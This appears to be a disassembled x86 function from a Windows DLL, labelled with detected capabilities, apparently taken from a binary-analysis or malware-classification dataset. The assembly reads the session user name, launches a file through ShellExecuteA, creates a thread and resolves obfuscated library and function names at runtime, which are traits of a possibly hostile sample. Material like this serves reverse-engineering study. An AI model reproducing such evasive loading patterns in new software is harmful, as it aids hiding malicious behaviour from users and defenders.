Function at 0x10001ced
Capabilities:
Create process on windows
Create thread
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1001a178]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x410
call fcn.1000250c
pop ecx
push 3
xor ebx, ebx
push 0x25
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ebx
mov dword [0x1001b098], 0xff61faa4
call dword [sym.imp.KERNEL32.dll_Beep]
push ebx
push ebx
push ebx
push str.qvqkncdcvgvtoqesNWbqxGrMuNv.bmp
push str.Open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x32
lea eax, [ebp - 0x30]
mov dword [ebp - 0x14], 0x2020101
mov dword [ebp - 0x10], 0x2020202
mov dword [ebp - 0xc], 0x2020201
mov dword [ebp - 8], 0x1020202
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
call fcn.10002023
xor edi, edi
mov dword [0x1001b0a8], edi
mov eax, dword [ebp - 0x20]
sub eax, edi
inc eax
push eax
call fcn.1000250c
cmp dword [ebp - 0x1c], 0x10
mov esi, eax
mov eax, dword [ebp - 0x30]
pop ecx
mov dword [0x1001c3f0], esi
jae 0x10001d97
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov edi, dword [0x1001b0a8]
sub ecx, edi
inc ecx
push ecx
add eax, edi
push eax
push esi
call fcn.1000a920
movzx eax, byte [ebp + edi - 0x14]
mov cl, byte [esi]
add esp, 0xc
cmp eax, ebx
jle 0x10001df4
mov edx, eax
xor eax, eax
cmp eax, ebx
je 0x10001dce
test byte [eax + esi], 0x80
je 0x10001dce
or byte [eax + esi - 1], 1
shl byte [eax + esi], 1
inc eax
cmp eax, 7
jl 0x10001dbf
mov al, byte [esi + 3]
test al, 0x10
je 0x10001de7
and al, 0xef
or byte [esi + 6], 1
mov byte [esi + 3], al
test cl, cl
jns 0x10001def
or byte [esi + 3], 0x10
add cl, cl
dec edx
jne 0x10001dbd
inc edi
mov dword [0x1001b0a8], edi
cmp edi, 0x10
jl 0x10001d76
push 0x208
call fcn.1000250c
pop ecx
lea ecx, [ebp - 0x40]
push ecx
push eax
mov dword [0x1001c450], eax
mov dword [ebp - 0x40], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0x1001c458
push dword [0x1001c450]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10001e4a
mov esi, dword [0x1001c450]
mov edi, 0x1001c458
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1001b0ac
push ebx
push ebx
push 0x100010f1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
push eax
mov dword [0x1001c410], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
fld dword [0x1001c764]
fld st(0)
fsub dword [0x1001b094]
fldz
fucompp
fnstsw ax
test ah, 0x44
jnp 0x10001ead
fmul qword [0x10016560]
fdiv qword [0x10016558]
fstp dword [ebp - 0x34]
fld dword [ebp - 0x34]
call fcn.1000e000
fstp dword [ebp - 0x34]
fld dword [ebp - 0x34]
fstp dword [0x1001b094]
jmp 0x10001ee7
mov ecx, dword [0x1001b098]
mov eax, dword [0x1001b08c]
sub ecx, eax
je 0x10001ee5
imul eax, eax, 6
add eax, 0x9f
mov dword [ebp - 0x34], eax
fiadd dword [ebp - 0x34]
fstp dword [ebp - 0x34]
fld dword [ebp - 0x34]
call fcn.1000e000
fstp dword [ebp - 0x34]
fld dword [ebp - 0x34]
fmul qword [0x10016550]
fchs
jmp 0x10001ea5
fstp st(0)
push 0x14
call fcn.1000250c
mov edi, eax
mov dword [str.7vyrwr], edi
mov ecx, edi
mov eax, 0x9090909
stosb byte es:[edi], al
mov dword [str.yYPk1GH2PWNcAwXcdt4lLQZXrmuOiFXJopX4A3FBFr4qVOL6v1yoEhKRwXG], ecx
call fcn.100011b0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x38]
call sym.dvywwaahx.dll_gxdneosazuoa
push 0xf
call fcn.1000250c
mov esi, 0x1001c414
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
add esp, 0x10
mov dword [0x1001c3f0], eax
mov dword [0x1001b0a8], ebx
movsb byte es:[edi], byte [esi]
push 0x1001c414
call dword [sym.imp.USER32.dll_CharNextA]
mov dword [str.7vyrwr], eax
cmp eax, ebx
je 0x10001f61
mov eax, dword [0x1001b0a8]
push 0x50
cdq
pop ecx
idiv ecx
mov ecx, dword [0x1001c3f0]
cmp byte [eax + ecx], bl
je 0x10001f71
mov eax, dword [0x1001b0a8]
inc dword [0x1001b0a8]
cmp eax, 0xf
jl 0x10001f37
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x3c8
mov edi, 0x221
push edi
push ebx
call esi
test eax, eax
je 0x10001fd5
mov eax, dword [0x1001c76c]
cmp eax, dword [0x1001c410]
jne 0x10001fd5
mov eax, dword [0x1001c774]
push str.coelgsvrok
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [ebp - 0x38], ebx
je 0x10001fb5
push str.EEQeRxavvxDbzkXxv
jmp 0x10001fba
push str.yxrZujdqqNJd
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x10001fd5
call eax
push 0x3c8
push edi
push ebx
call esi
mov dword [0x1001c76c], eax
push ebx
mov edi, 0x1001b0b8
push edi
push ebx
push 1
push ebx
call dword [sym.imp.GDI32.dll_Escape]
push 0xc
call fcn.10003c64
mov esi, eax
push 0x17
mov dword [0x1001c454], esi
mov dword [esi + 4], edi
call fcn.10002d1b
pop ecx
pop ecx
mov dword [esi + 8], eax
mov dword [esi], ebx
push 1
xor edi, edi
lea esi, [ebp - 0x30]
call fcn.100020b8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10002517
leave
ret